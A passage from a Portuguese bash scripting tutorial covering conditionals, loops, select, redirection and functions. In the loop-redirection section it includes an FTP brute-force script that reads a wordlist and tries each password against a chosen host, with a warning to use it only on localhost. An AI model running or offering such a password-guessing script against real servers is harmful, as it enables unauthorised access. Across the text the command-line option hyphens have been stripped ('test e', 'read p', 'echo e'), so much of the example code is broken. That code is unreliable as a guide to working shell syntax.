b arquivo Verdadeiro se arquivo é um arquivo de bloco, como /dev/hda.
c arquivo Verdadeiro se arquivo é um arquivo de caracter, como /dev/tty1.
d arquivo Verdadeiro se arquivo é um diretório.
e arquivo Verdadeiro se arquivo existe.
f arquivo Verdadeiro se arquivo existe e é um arquivo comum.
s arquivo Verdadeiro se arquivo existe e não é vazio.
h arquivo Verdadeiro se arquivo é um link simbólico.
p arquivo Verdadeiro se arquivo é um "named pipe" (fifo, lifo, etc).
S arquivo Verdadeiro se arquivo é um "socket".
k arquivo Verdadeiro se arquivo tem seu "sticky bit" ligado.
r arquivo Verdadeiro se arquivo pode ser lido pelo usuário atual.
w arquivo Verdadeiro se arquivo pode ser escrito pelo usuário atual.
x arquivo Verdadeiro se arquivo pode ser executado pelo usuário atual.
O arquivo Verdadeiro se arquivo pertence ao usuário atual.
G arquivo Verdadeiro se arquivo pertence ao grupo do usuário atual.
N arquivo Verdadeiro se arquivo foi modificado desde a ultima vez que foi lido.
Alguns exemplos:
Adbeel Goes Filho
ShellScripts 55
A opção "e" verifica apenas se um arquivo existe e a opção "d" verifica se o arquivo é
um diretório.
A opção "nt" verifica se o primeiro arquivo é mais novo que o segundo (nt = newer
than) e "ot" verifica se o primeiro é mais velho que o segundo (od = older than):
virtvs@mucuripe:~$ test e /vmlinuz
virtvs@mucuripe:~$ echo $?
0
virtvs@mucuripe:~$ test d /vmlinuz
virtvs@mucuripe:~$ echo $?
1
virtvs@mucuripe:~$ test e /usr
virtvs@mucuripe:~$ echo $?
0
virtvs@mucuripe:~$ test d /usr
virtvs@mucuripe:~$ echo $?
0
virtvs@mucuripe:~$ test /usr nt /vmlinuz
virtvs@mucuripe:~$ echo $?
0
virtvs@mucuripe:~$ test /usr ot /vmlinuz
virtvs@mucuripe:~$ echo $?
1
#!/bin/bash
if [ $1 = $2 ]; then
echo As strings são iguais.
fi
$ ./strcmp1.sh meleu
./strcmp.sh: [: meleu: unary operator expected
Note que o test deu um erro, e por isso retornou um nãozero para o if. Observe o seguinte:
$ cat strcmp2.sh
#!/bin/bash
if [ $1 = $2 ]; then
echo As strings são iguais.
else
echo As strings são diferentes.
fi
$ ./strcmp2.sh meleu
Adbeel Goes Filho
ShellScripts 56
./strcmp.sh: [: meleu: unary operator expected
As strings são diferentes.
Aconteceu a mesma coisa que no primeiro exemplo, só que agora temos um else pra
ser executado caso a expressão do if retorne falso (ou nãozero). Uma solução pra que não dê este
erro no test é usar aspas duplas. Veja só:
#!/bin/bash
if [ "$1" = "$2" ]; then
echo As strings são iguais.
else
echo As strings são diferentes.
fi
Você também NÃO deve escrever tudo junto, assim: $1=$2 ou "$1"="$2"
Desta maneira o test vai retornar sempre verdadeiro, pois seria como se você estivesse passado
somente um parâmetro para ele.
#!/bin/bash
NUM1=1
NUM2=00001
if [ "$NUM1" = "$NUM2" ];
then
echo "O valor string de $NUM1 e $NUM2 são iguais."
else
echo "O valor string de $NUM1 e $NUM2 são diferentes."
fi
if [ $NUM1 eq $NUM2 ];
then
echo "O valor numérico de $NUM1 e $NUM2 são iguais."
else
echo "O valor numérico de $NUM1 e $NUM2 são diferentes."
fi
Para fazer cálculos aritméticos podemos fazer o seguinte esquema
$ echo $[ 2 * 3 + 4 ]
10
$ echo $[ 2 * ( 3 + 4 ) ]
14
Adbeel Goes Filho
ShellScripts 57
Basta colocar a expressão entre $[ ... ]. Você também pode usar $((cifrãodois
parênteses)) mas os colchetes são bem mais práticos.
Se você pretende usar mais coisa relacionada a matemática, então aprenda a usar o
comando "bc". Mas se vai ficar só no "papaimamãe" das operações básicas pode ficar usando $(( ))
ou $[ ]
(OBS.: em operações de divisão os resultados não são muito satisfatórios).
operadores lógicos (AND e OR)
Para usar os operadores lógicos basta usar "a" para AND e "o" para OR. Muito
simples. O exemplo a seguir usa o AND e também usa um novo tipo de comando de controle, o
"elif", que é a mesma coisa que "else if", só que se você usar "else if" vai precisar de um "fi" para
fechar. O elif não precisa disso.
Preste atenção que é fácil de entender para quem tem noção de algoritmo:
#!/bin/bash
read p "Entre com o primeiro número: " NUM1
read p "Entre com o segundo número: " NUM2
read p "Entre com o terceiro número: " NUM3
# Observe o "a" (AND) na expressão abaixo
if [ $NUM1 le $NUM2 a $NUM1 le $NUM3 ]; then
MENOR=$NUM1
if [ $NUM2 le $NUM3 ]; then
MEIO=$NUM2
MAIOR=$NUM3
else
MEIO=$NUM3
MAIOR=$NUM2
fi
elif [ $NUM2 le $NUM3 ]; then
MENOR=$NUM2
if [ $NUM1 le $NUM3 ]; then
MEIO=$NUM1
MAIOR=$NUM3
else
MEIO=$NUM3
MAIOR=$NUM1
fi
else
MENOR=$NUM3
if [ $NUM1 le $NUM2 ]; then
MEIO=$NUM1
MAIOR=$NUM2
Adbeel Goes Filho
ShellScripts 58
else
MEIO=$NUM2
MAIOR=$NUM1
fi
fi
echo "$MENOR < $MEIO < $MAIOR"
O comando let
O let é um comando embutido no bash (e isto quer dizer que se você quiser
informações sobre ele tem que ver na manpage do bash, mais especificamente no tópico
ARITHMETIC EVALUATION). Ele é bastante útil para quem está acostumado com programação
C, pois sua sintaxe é semelhante, mas só é usado para expressões aritméticas.
Com este comando você pode comparar valores numéricos com os sinais <, >, <=, >=,
==, e !=. E mais bastante coisa comum em linguagem C (como por exemplo o ++ e o ). Alguns
exemplos do que você pode fazer:
let var++ # equivalente a "var=$[ $var + 1 ]"
let var # equivalente a "var=$[ $var 1 ]"
let "$num > 2" # equivalente a "[ $num gt 2 ]"
Outra coisa interessante é que você pode substituir
Portanto os exemplos acima poderiam ser feitos assim:
(( var++ ))
(( var ))
(( $num > 2 ))
Veja este script abaixo apenas para entender a utilidade do let:
Exemplo:
#!/bin/bash
if (( $# != 2 )) ; then # poderia ser: if let "$# != 2"
echo "Uso: `basename $0` N1 N2" 1>&2
exit 1
fi
if (( $1 > $2 )) ; then # poderia ser: if let "$1 > $2"
echo "$1 é maior que $2"
elif (( $1 == $2 )) ; then # poderia ser: elif let "$1 == $2"
echo "$1 é igual a $2"
Adbeel Goes Filho
ShellScripts 59
else
echo "$1 é menor que $2"
fi
4. Tomadas de decisão com && e ||
Esta maneira de tomar decisões é bem compacta, mas não aceita "else". Eu,
particularmente, prefiro usar esta estrutura quando vou fazer uma tomada de decisão e não preciso
de "else". A maneira de usar é:
comando1 && comando2
comando1 || comando2
$ [ d ~/tempdir ] || mkdir ~/tempdir
Como você deve estar lembrado, "[ d ~/tempdir ]" é o mesmo que "test d ~/tempdir" e
retornará 0 se existir o diretório ~/tempdir. Caso não exista ele retornará 1, e neste caso o "mkdir
~/tempdir" será executado.
Vejamos um parecido usando o &&:
$ [ d ~/tempdir ] && ls ld ~/tempdir
Listas
As listas de comandos servem para agrupar comandos. Podem ser representadas por
(parenteses) ou {chaves}. A diferença é que os (parenteses) executam os comandos num shell a
parte e as {chaves} executam no shell atual.
Execute comando a seguir e tente entendêlo (está certo... são vários comandos, mas
inicialmente é encarado com um comando só).
Exemplo:
[ d /usr/doc ] && {
echo "O diretorio existe"
echo "veja o seu conteudo"
cd /usr/doc
ls
}
E observe que ao final da execução você estará no diretório /usr/doc, o que comprova
que com as {chaves} os comandos são executados no shell atual, se você trocar as {chaves} por
Adbeel Goes Filho
ShellScripts 60
(parênteses) observará que o seu diretório não se alterará.
FYI: para saber o diretório atual o comando a ser usado é o "pwd".
Expressões Aritméticas
Infelizmente não podemos apenas utilizar os símbolos conhecidos para igual (=), maior
que (>), menor que (<) etc. Temos que usar operadores reconhecidos pelo "test". Assim, não
podemos fazer: "test 1 = 1", devemos utilizar o operador "eq" (equal): "test 1 eq
1". A seguir, temos uma lista dos operadores:
eq (equal): Igual;
ne (notequal): Não Igual (diferente);
lt (less than): Menor que (<);
le (less than or equal): Menor ou igual ( <= );
gt (greater than): Maior que (>);
ge (greater than or equal): Maior ou igual (>=);
Alguns exemplos:
virtvs@mucuripe:~$ test 1 lt 2
virtvs@mucuripe:~$ echo $?
0
virtvs@mucuripe:~$ test 1 gt 2
virtvs@mucuripe:~$ echo $?
1
virtvs@mucuripe:~$ test 2 gt 1
virtvs@mucuripe:~$ echo $?
0
virtvs@mucuripe:~$ test 2 ge 2
virtvs@mucuripe:~$ echo $?
0
Para finalizar, vamos fazer duas considerações. A primeira é de que o comando "test" pode ser
substituido por um par de colchetes [ ]. Assim, o comando test "a" = "b" pode ser escrito como [ "a"
= "b" ] .
Essa segunda nomenclatura fica mais fácil e simples, principalmente quando estamos utilizando IF:
if [ e /vmlinuz ]; é mais intuitivo e simples que if test e /vmlinuz; .
A segunda consideração é que, obviamente, podemos utilizar variáveis no lugar dos
Adbeel Goes Filho
ShellScripts 61
argumentos (caso contrário, ficaria difícil utilizar comandos de condicionais em shell script).
Assim, se tivermos duas variaveis, valor1=5 e valor2=8:
[ "$valor1" = "$valor2" ] , [ "$valor1" lt "$valor2" ] etc.
É importante colocarmos os valores entre aspas duplas ("), pois assim o bash pode
substituir o que se encontra dentro dessas aspas. Se colocarmos entre aspas simples ('), impedimos o
bash de alterar o que se encontra dentro delas. Se não utilizarmos as aspas duplas, vamos ter
problemas, principalmente ao trabalharmos com string.
Agora, se não usarmos aspas: [ $nome1 = $nome2 ]. O bash irá expandir isso para:
[ fulano de tal = ciclano ]. Perceba que os argumentos se misturam e o bash não vai saber o que
comparar. Por isso é importante colocarmos os argumentos entre aspas duplas.
Conclusão
Resumindo, aprendemos na aula de hoje como utilizar comandos condicionais. Isso
será fundamental nos próximos capitulos, onde iremos tratar os comandos de laço, como o while.
Adbeel Goes Filho
ShellScripts 62
Capitulo 4. Comandos de Repetição
Vamos aprender agora sobre comandos de laço como o while, for, case e select. Eles
nos permitem executar alguns comandos diversas vezes, sob determinadas condições e até montar
menuzinhos para interagir com o usuário.
14.while
Sua sintaxe é a seguinte:
while [ condição ];
do
comando 1;
comando 2;
...
done;
O parâmetro [ condição ] funciona exatamente igual ao do IF.
Bom, vamos ao exemplo mais simples do while: um contador.
x = 0
while [ "$x" le 10 ];
do
echo "Execução número: $x"?;
x = $((x+1));
done;
Analisando:
Na primeira linha temos a condição: enquanto o valor da variável x ( $x ) for menor
igual ( le ) a 10, faça: mostre "Execução número: " e o valor de x ($x). Faça x = x + 1. Isso no bash
é feito pelo comando $(( )). Ele realiza operações algébricas com variáveis. No caso acima, estamos
somando x + 1 e colocando o resultado no próprio x.
Adbeel Goes Filho
ShellScripts 63
Preste atenção, que as linhas do while precisam de um ";" para terminar, exceto a que
contém o "do", pois ele representa o começo do bloco de comandos.
Quando executamos o script acima, temos uma contagem de 1 até 10:
virtvs@mucuripe:~$ x=0; while [ "$x" lt 10 ]; do x=$((x+1)); echo
"Execução número: $x"; done;
Execução número: 1
Execução número: 2
...
Execução número: 10
virtvs@mucuripe:~$
O while tem muita utilidade em programação, mas fica difícil dar exemplos usando
somente ele, pois geralmente ele está associado a execução de outros programas e rotinas mais
complexas.
Eu costumo usar ele, por exemplo, quando quero que o napster fique tentando
conectar, pois quando ele vai tentar conectar o servidor e não consegue, ele simplesmente termina.
Aí eu coloco o while testando a código de retorno dele (lembram da variável $? ) e enquanto estiver
diferente de zero (o napster terminou com erro), ele fica executando o napster:
? = 1; while [ "$?" ne "0" ]; do ./nap; done;
O comando "? = 1" tenta atribuir 1 a variável ?. Isso provoca um erro, pois a variável ?
É somente de leitura. Isso é necessário para que ? Contenha algo diferente de 0, pois senão o while
não executa a primeira interação.
15.for
O for é semelhante ao while usado como um contador. É necessário fornecer uma lista
de nomes e ele executa os comandos para cada nome na lista. Parece meio confuso, mas é simples.
Veja a sintaxe:
for <var> in <lista>;
do
comandos
done;
O for associa o primeiro item da lista de nomes à variável <var> e executa os
comandos. Em seguida, associa novamente o segundo item da lista à <var> e executa novamente os
comandos... e assim por diante, até acabar a lista.
Veja o exemplo:
Adbeel Goes Filho
ShellScripts 64
virtvs@mucuripe:~$ for x in Compra Venda Aluguel;
do echo $x; done;
Compra
Venda
Aluguel
Ou seja, primeiro ele coloca "Compra" na variável x e executa os comandos, no caso, "echo $x", e
assim por diante. Podemos facilmente implementar um contador, usando em conjunto com o for, o
programinha "seq". Ele simplesmente gera uma seqüência de números. Por exemplo, "seq 10" gera
uma seqüência de 1 até 10. Assim, podemos usálo no for:
for x in $(seq 10); do echo $x; done;
Esse comando é semelhante ao contador implementado com o while. Primeiro o x vale
1 e o for executa os comandos. Depois x vale 2 e ele reexecuta os comandos...
Vamos usar o for para renomear os arquivo de um diretório, mudando todos os arquivo
terminados em ".mp3" para ".mp3.bak".
for x in *; do
mv "$x" "${x}.bak";
done;
for x in *.mp3; do
if [ e "$x" ];
then mv "$x" "${x}.bak";
fi;
done;
No local de <lista> nos colocamos "*.mp3". Isso diz ao bash para expandir
(transformar) ele na lista de arquivos terminados com ".mp3". Senão houver nenhum arquivo com
essa terminação, o bash não faz nada, ficando para o for a string "*.mp3". Por isso precisamos do if
para testar se o arquivo existe. Experimente no seu sistema. echo *.mp3 vai mostrar os arquivos no
diretório atual com terminação mp3, mas sem quebra de linha entre eles, ou seja, um nome após o
outro. Se não houver nenhum arquivo com terminação mp3, ele apenas vai mostrar "*.mp3".
Bem, voltando ao for, ele vai atribuir a "x" cada nome na lista de arquivos com
terminação ".mp3" e executar os comandos seguintes. Primeiro ele testa para ver se o arquivo existe
( if [ e "$x" ]; ), e se existir, renomeia ele para o seu próprio nome acrescido de ".bak" (
${x}.bak ).
Resumindo, o for faz isso: você fornece uma lista de nomes para ele e ele vai
atribuindo esses nomes, em ordem e um por vez, à variável <var> e executa os comandos entre o
"do" e o "done;".
Agora para usarmos um for um pouco parecido com o das linguagens de programação
convencionais usamos um comandinho chamado "seq". Ele funciona basicamente da seguinte
forma:
Adbeel Goes Filho
ShellScripts 65
$ seq 1 10
1
2
3
4
5
6
7
8
9
10
# pode ser em ordem decrescente também:
$ seq 10 1
10
9
8
7
6
5
4
3
2
1
Examplo:
#!/bin/bash
if [ $# ne 1 ]; then
echo "Uso: `basename $0` n"
echo "Onde 'n' é um número inteiro qualquer"
exit 1
fi
for OP in `seq 1 10`; do
echo e "$1 + $OP = $[ $1 + $OP ] \t $1 $OP = $[ $1 $OP ]"
done
echo
for OP in `seq 1 10`; do
echo e "$1 * $OP = $[ $1 * $OP ] \t \
$1 / $OP = `echo "scale=2;$1 / $OP" | bc`"
done
Adbeel Goes Filho
ShellScripts 66
16.until
É igual ao while, exceto por um detalhezinho. Veja a expressão básica e saberá:
until <expressão>; do
<comandos que serão executados enquanto <expressão> retornar FALSO>
done
Leia direitinho: comandos que serão executados enquanto <expressão> retornar FALSO! ;)
Exemplo:
#!/bin/bash
CONT=10
until [ $CONT eq 0 ]; do
echo ne "$CONT\t"
let CONT
done
echo
17.case
O case está mais para um comando condicional do que para comando de laço, visto
que ele não executa "loopings" como o while e o for. Ele geralmente é utilizado como substituição
de vários IFs.. Um exemplo clássico e muito utilizado é quando você precisa testar um parâmetro
fornecido na linha de comando. O case é utilizado desta forma em scripts de inicialização de
serviços do sistema. Vou mostrar a sintaxe em em seguida um script que inicialize/ reinicialize ou
pare algum serviço (como o sendmail, apache, bind, etc).
Sintaxe:
case <parâmetro> in
<opção 1>)
<comandos 1>
;;
[opção 2] )
<comandos 2>
;;
* )
< comandos se não for nenhuma das opções >
;;
Adbeel Goes Filho
ShellScripts 67
esac
Vamos as explicações. O case pega a string fornecida em <parâmetro> e compara com
<opção 1>. Se forem iguais, ele executa <comandos 1> e sai fora. Caso contrário, ele compara
<parâmetro> com <opção 2> e assim por diante. Caso <parâmetro> não seja igual a nenhuma das
opções, ele executa os comandos da opção "*", se este existir. Prestem atenção a alguns detalhes na
sintaxe. Deve existir um ")" após cada opção e também um ";;" após todos os comandos de cada
opção. Vejam o exemplo abaixo:
case "$1" in
'start' )
echo "Iniciando o serviço..."
<comandos para iniciar o serviço>
;;
'restart' )
echo "Reinicializando o serviço..."
<comandos para reinicializar o serviço>
;;
'stop' )
echo "Parando o serviço..."
<comandos para parar o serviço>
;;
*)
echo "Opção invalida!"
echo "As opções válidas são: start, stop e restart"
;;
esac
O case serve exatamente para isso, ou seja, evitar o teste de vários Ifs. No caso acima,
teríamos que utilizar 3 Ifs. Mesmo se o primeiro já fosse verdadeiro, o bash iria testar o segundo e o
terceiro, ou seja, ia perder tempo desnecessariamente. Já no case isso não acontece. Após entrar em
uma opção e executar seus comandos, ele já pula fora do case sem testar as outras opções abaixo.
18.break e continue
Estes comandos são úteis quando usamos loops.
break
Quebra a execução do loop. Para entender nada melhor que um exemplo:
Adbeel Goes Filho
ShellScripts 68
Examplo:
#!/bin/bash
# `true` sempre retorna verdadeiro
while true; do
read p "Tente adivinhar o número: " NUM
[ "$NUM" eq 666 ] && break
done
echo e "\nVocê acertou! \n"
O que o break faz é pular a sequência de execução do script para o que vier depois do "done". Ele
também aceita argumento, da seguinte forma: "break n", onde 'n' é um número inteiro que indica
quantos "done's" pular.
continue
O continue interrompe o loop e faz novamente o teste do comando que está controlando o loop (for,
while, etc.). Veja este exemplo:
Examplo:
#!/bin/bash
[ $1 ] || { echo "Entre com o(s) nome(s) do arquivo(s)"; exit 1; }
for FILE in $@; do
[ f $FILE ] || {
echo e "\"$FILE\" não é um arquivo\n"
continue
}
cat $FILE >> AllFiles.txt
echo e "\n\n\n=============\n\n\n" >> AllFiles.txt
done
echo "Feito!"
O que o continue faz é voltar lá para antes do "do" pra fazer o teste novamente. Ele
também aceita argumento no estilo "continue n" para indicar quantos "do's" voltar.
Adbeel Goes Filho
ShellScripts 69
19.Redirecionando loops
Lendo o livro "Linux: Programação Shell" (ver Referências) eu aprendi umas formas
de usar redirecionamento para loops. Vou tentar passar os esquemas aqui através de exemplos
meramente ilustrativos. Vamos a eles, lembrando daqueles conceitos passados no tópico 3.
(principalmente sobre o read e sobre os redirecionamentos).
"pipeando" para o while
Vamos imaginar um arquivo onde eu tenho os nomes de alguns amigos meus e a região
onde eles moram. Como alguns amigos moram em uma mesma região eu não vou ficar repetindo a
região para cada um. Portanto o arquivo fica assim:
#############################
# lista de amigos e estados #
#############################
#
# OBS.: ISSO NÃO É UM SCRIPT!
#
# Linhas que COMEÇAM com '#' serão consideradas
# comentários pelo script "listamigos.sh".
#
# Use da seguinte forma:
# REGIAO amigo1 amigo2 amigo3 amigoN ...
#
Nordeste slater nashleon xf eSc2
Sudeste module hekodangews manalaura blindbard klogd
Sul evillord emmanuele
Agora veja o script que usará as informações contidas no arquivo "amigos.regiao":
#!/bin/bash
# o egrep abaixo vai pegar o arquivo "amigos.regiao"
# sem exibir as linhas que comecem com um caractere '#'
# (considerado comentário) e sem mostrar linhas vazias,
# em seguida vai redirecionar a saída para a entrada do
# read que está lá no while (relembrese do read no
# tópico 3.2.)
egrep v "^#|^ *$" amigos.regiao |
Adbeel Goes Filho
ShellScripts 70
while read REGIAO NOMES ; do
echo e "\e[1m> Amigos do $REGIAO:\e[m"
for amigo in $NOMES ; do
echo "$amigo"
done
echo
done
Mas a coisa não é tão simples assim... Se dentro do loop você quisesse usar o comando
read para ler do teclado, seria necessário pegar a entrada de "/dev/tty". Sabendo que o /dev/tty é o
terminal que você está usando. Se você tiver muitos amigos no arquivo "amigos.regiao" não vai
conseguir ver todos, pois a lista não caberá numa tela só. Neste caso, o script a seguir será melhor
que o "listamigos.sh".
#!/bin/bash
egrep v "^#|^ *$" amigos.regiao |
while read REGIAO NOMES ; do
echo e "\n\e[32;1m> Amigos do $REGIAO:\e[m"
for amigo in $NOMES ; do
echo e "\e[1m$amigo\e[m"
done
echo ne "\nEntre <ENTER> para continuar ou 'sair' para sair: "
read QUIT < /dev/tty
[ "$QUIT" = "sair" ] && exit
done
Se quiser comprovar com seus próprios olhos a necessidade de pegar a entrada de
"/dev/tty" é só retirar o "< /dev/tty" naquele read dentro do loop.
OBS.: Curiosamente o exit dentro de um loop que recebe dados de um pipe funciona como se fosse
um break. Pra comprovar isso coloque no final do script listamigos2.sh um "echo bla bla bla" e
quando o script mostrar "Entre <ENTER> para continuar ou 'sair' para sair: " entre com 'sair'.
Isso ocorre porque durante o "pipeamento" os comandos são executados num subshell
(um shell a parte ou shell filho, como preferir), e o exit faz sair deste subshell.
Vejamos um exemplo onde você verá que o exit funciona como o break:
#!/bin/bash
#
##################################################################
# ***********
# * ATENÇÃO *
# ***********
# Não use este script para atacar servidores remotos! Ele deixará
# arquivos de log imensos! Useo apenas em localhost (127.0.0.1)
# e veja você mesmo os rastros deixados nos arquivos de log.
Adbeel Goes Filho
ShellScripts 71
##################################################################
#
# Este código é só pra ilustração do texto
# "Programação em BourneAgain Shell",
# Na prática mesmo ele não é muito útil.Se quiser fazer um ataque de força bruta
# mais eficiente faça em C.
# Veja mais sobre ataques de força bruta em um texto que o NashLeon fez em
# <http://unsekurity.virtualave.net>
#
# verifica se o parâmetro passado é um arquivo
[ f "$1" ] || {
echo e "\e[1mErro na passagem de parâmetros\e[m"
echo "Uso: `basename $0` wordlist"
exit 1
}
WL="$1"
echo e " \e[36;1m
\e[37;1m
ataque de força bruta via ftp \e[36;1m
\e[m
"
read p "Host: " HOST
read p "Username: " USER
cat $WL |
while read PASS
do
# 230 é o número que recebemos quando entramos com sucesso via ftp
ftp ivn << EoF | grep "^230" &>/dev/null
open $HOST
user $USER $PASS
bye
EoF
# $? contém o código de retorno do grep
[ $? eq 0 ] && {
echo e "\n\e[36;5;1mO ataque foi bem sucedido! \e[m"
echo e "Username: \e[1m$USER\e[m\nPassword: \e[1m$PASS\e[m"
exit 0
# lembrando que o exit funciona como se fosse break
}
done
Adbeel Goes Filho
ShellScripts 72
# $? contém o mesmo valor nãozero que fez parar o loop acima
[ $? ne 0 ] && echo "
Você entupiu os arquivos de log por nada, pois o ataque fracassou...
Mais sorte da próxima vez!
O "pipeamento" para while também é usado no Mextract.sh.
redirecionando de arquivo para while
Agora veremos um arquivo onde eu tenho os telefones de alguns amigos. A disposição
das informações dentro do arquivo é um pouco parecida com o "amigos.regiao", veja:
#######################
# Agenda de telefones #
#######################
#
# OBS. I: ISSO NÃO É UM SCRIPT!
#
# Linhas que COMEÇAM com '#' serão consideradas
# comentários pelo script "listartel.sh".
#
# Use da seguinte forma:
# NOME PREFIXO TELEFONE
# Com os campos separados por UM ÚNICO <TAB>.
#
# Exemplo:
# lampiao 12 12345678
# mariabonita 87 87654321
# telefone "dus manu"
xf 45 12431412
slater 98 65451654
minduin 45 54871800
nash 23 65576784
evil 23 54654654
heko 43 56465465
esc2 24 46456456
# telefone "das mina"
emmanuele 87 45646545
maylline 29 65654655
manalaura 82 65416578
erika 65 34245522
Adbeel Goes Filho
ShellScripts 73
Vamos ao script que se utilizará das informações de "agenda.tel":
Adbeel Goes Filho
ShellScripts 74
#!/bin/bash
#arquivo=listartel.sh
#
TempFile=/tmp/TEMP$$
# o egrep abaixo vai mostrar o arquivo agenda.tel
# sem exibir as linhas que comecem com um caractere '#'
# (considerado comentário) e sem mostrar linhas vazias.
# redirecionando a saída para $TempFile
egrep v "^#|^ *$" agenda.tel > $TempFile
while read NOME PRE TEL ; do
echo e "Tel de $NOME: ($PRE)$TEL"
done < $TempFile
# esse redirecionamento faz com o que o "read" lá no while
# leia linha por linha do arquivo $TempFile
rm $TempFile
Consulta o arquivo
$ ./listartel.sh | grep emma
OBS. I: Neste esquema também é necessário pegar os dados de /dev/tty se você quiser usar o read
dentro do loop.
OBS. II: Se você usar exit dentro do loop usando este esquema, ele REALMENTE SAIRÁ DO
SCRIPT. Não é igual ao esquema anterior onde o while recebe dados de um pipe e o exit funciona
como se fosse um break. Então repetindo: neste esquema o exit funciona normalmente!
redirecionando a saída do loop para a tela
Ficou confuso com este título? "Redirecionar a saída do loop para a tela parece ser uma
coisa inútil, pois isso acontece todas as vezes." Aí que você se engana! Vamos ao exemplo onde eu
mostrarei a utilidade de se redirecionar desta maneira...
Temos um script chamado retornatel.sh que pesquisa o telefone de um determinado
amigo (o nome é passado ao script durante sua execução). Agora queremos pegar o telefone deste
amigo e armazenálo numa variável da seguinte maneira:
FONE=`./retornatel.sh`
Só que, como veremos no script a seguir, a saída do script não é somente o número do telefone.
Existe uma interface com o usuário perguntando qual o nome a ser pesquisado. Veja o script:
Exemplo:
Adbeel Goes Filho
ShellScripts 75
#!/bin/bash
# tá bom, tá bom... eu sei que não é um exemplo muito útil...
# é só pra ilustrar a utilidade de redirecionar a saída do loop
FILE=agenda.tel
function gotoxy {
[ $# ne 2 ] && {
echo gotoxy: Erro na passagem de parâmetros
echo Uso: gotoxy X Y
exit 1
}
echo ne "\e[$1;$2H"
}
while true; do
clear
gotoxy 5 1
read p "Nome a ser pesquisado ('sair' para sair): " NOME
[ "X$NOME" = Xsair ] && exit
if grep "$NOME" $FILE &>/dev/null ; then
break
else
gotoxy 10 15
echo Nenhum $NOME foi encontrado em $FILE.
read p "Pressione <ENTER> para continuar..."
fi
done > /dev/tty
grep "^$NOME" $FILE | cut f3
Olha o /dev/tty aí de novo! :P
Redirecionando a saída de todo o loop para "/dev/tty", fará com que os dados
impressos para fazer a interface com o usuário não sejam enviados para a saída padrão e por
conseguinte não sejam enviados para a variável que está recebendo o número através do método
variavel=`programa`
Desta maneira, se você quer armazenar o telefone do xf na variável XFTEL, faça o
seguinte:
XFTEL=`./retornatel.sh`
E então pesquise por xf. Depois é só usar
echo $XFTEL
Adbeel Goes Filho
ShellScripts 76
20.select
O select é um comando de laço que nos permite mostrar um pequeno menu de opções
para o usuário. Cada opção possui um número e para escolher, o usuário digita o número
correspondente a opção desejada. Vejamos a sintaxe a seguir:
select <var> in <lista de opções>;
do
<comandos>
done;
Como disse acima, o select vai mostrar as opções contidas em <lista de opções>, uma
por linha, com um número na frente e espera que o usuário digite a opção desejada. Ao digitar a
opção, o select atribui o nome da opção a variável <var> e executa os comandos. Para sair do
select, é necessário executar o comando "break". Vamos a um exemplo:
select x in Iniciar Reiniciar Parar Sair; do
echo "Opção Escolhida: $x"
if [ "$x" == "Sair" ]; then break; fi;
done;
select x in Iniciar Reiniciar Parar Sair; do
case "$x" in
'Iniciar' )
echo "Iniciando o serviço..."
;;
'Reiniciar' )
echo "Reinicializando o serviço..."
;;
'Parar' )
echo "Parando o serviço..."
;;
'Sair' )
echo "Script encerrado."
break
;;
*)
Adbeel Goes Filho
ShellScripts 77
echo " Opção inválida!"
;;
esac
done;
Primeiramente o select mostra um menu:
1) Iniciar
2) Reiniciar
3) Parar
4) Sair
#?
Quando o usuário digitar um número de opção, o select executa o case e este compara
a variável x com suas opções. Se achar alguma, executa seus comandos, no caso um echo. Se o
usuário escolher Sair, além do echo, ele executa o "break", que interrompe o select:
virtvs@mucuripe:~/test$ ./t
1) Iniciar
2) Reiniciar
3) Parar
4) Sair
#? 1
Iniciando o serviço...
1) Iniciar
2) Reiniciar
3) Parar
4) Sair
#? 5
Opção inválida!
1) Iniciar
2) Reiniciar
3) Parar
4) Sair
#? 4
Script encerrado.
virtvs@mucuripe:~/test$
Espero que vocês tenham pego a idéia de como funciona comandos de laços. Pelos
menos sabendo a utilidade, sintaxe e como funcionam, quando surgir a necessidade, vocês já vão
saber o que usar.
#!/bin/bash
Adbeel Goes Filho
ShellScripts 78
function Mecho {
echo e "\e[1m$*\e[m"
}
# ATENÇÃO AQUI: o prompt que o select mostra é controlado pela
# variável PS3. E todas aqueles comentários sobre
# o PS1 feitas no tópico 2.2. valem aqui também.
PS3="Opção: "
echo n "Entre com o primeiro número: "
read NUM1
echo n "Entre com o segundo número: "
read NUM2
OPCOES="adicao subtracao multiplicacao divisao sair"
select opc in $OPCOES; do
if [ "$opc" = adicao ]; then
Mecho "$NUM1 + $NUM2 = $[ $NUM1 + $NUM2 ]"
elif [ "$opc" = subtracao ]; then
Mecho "$NUM1 $NUM2 = $[ $NUM1 $NUM2 ]"
elif [ "$opc" = multiplicacao ]; then
Mecho "$NUM1 * $NUM2 = $[ $NUM1 * $NUM2 ]"
elif [ "$opc" = divisao ]; then
Mecho "$NUM1 / $NUM2 = `echo "scale=2;$NUM1/$NUM2" | bc l`"
elif [ "$opc" = sair ]; then
Mecho "Tchau! "
exit
else
Mecho "Opção inválida! "
fi
done
Adbeel Goes Filho
ShellScripts 79
21.Funções
Funções são interessantes para quando você precisa fazer uma determinada coisa
várias vezes num mesmo script. Uma função é como se fosse um script dentro do script, sendo
assim ele também usa o mesmo esquema de parâmetros de um script comum ($1 para primeiro
parâmetro, $2 para segunda, e todas aquelas regras explicadas em 2.4. Parâmetros com a exceção do
$0, que não retorna o nome da função!). Uma função também é capaz de retornar um valor usando o
"return ValorDeRetorno", sendo que ValorDeRetorno ficará armazenado em "$?", vale observar
também que só é possível retornar valores inteiros.
Por exemplo, se na função tiver "return 123" depois da execução desta instrução "$?"
valerá 123.
#!/bin/bash
# "Hello World" usado para ilustrar o uso de funções.
function quit {
echo e "\e[1;32mTCHAU!\e[m"
exit
}
function e {
echo e "\e[1;35m$1\e[m"
}
e Hello
e World
quit
echo "Isso aqui não será impresso"
Outro exemplo:
#!/bin/bash
PARAM_ERR=198 # Se for passado mais do que dois parâmetros.
EQUAL=199 # Retorno se os parâmetros forem iguais.
function maior # Retorna o maior de dois números
{ # OBS: os números comparados precisam ser menores que 257
[ z "$2" ] && return $PARAM_ERR
if [ "$1" eq "$2" ]; then
Adbeel Goes Filho
ShellScripts 80
return $EQUAL
elif [ "$1" gt "$2" ]; then
return $1
else
return $2
fi
}
read p "Numero1: " N1
read p "Numero2: " N2
maior $N1 $N2
RET_VAL=$?
if [ $RET_VAL eq $PARAM_ERR ]; then
echo "É necessário passar dois parâmetros para a função."
elif [ $RET_VAL eq $EQUAL ]; then
echo "Os dois números são iguais."
else
echo "O maior número é $RET_VAL."
fi
exit 0
Informações adicionais:
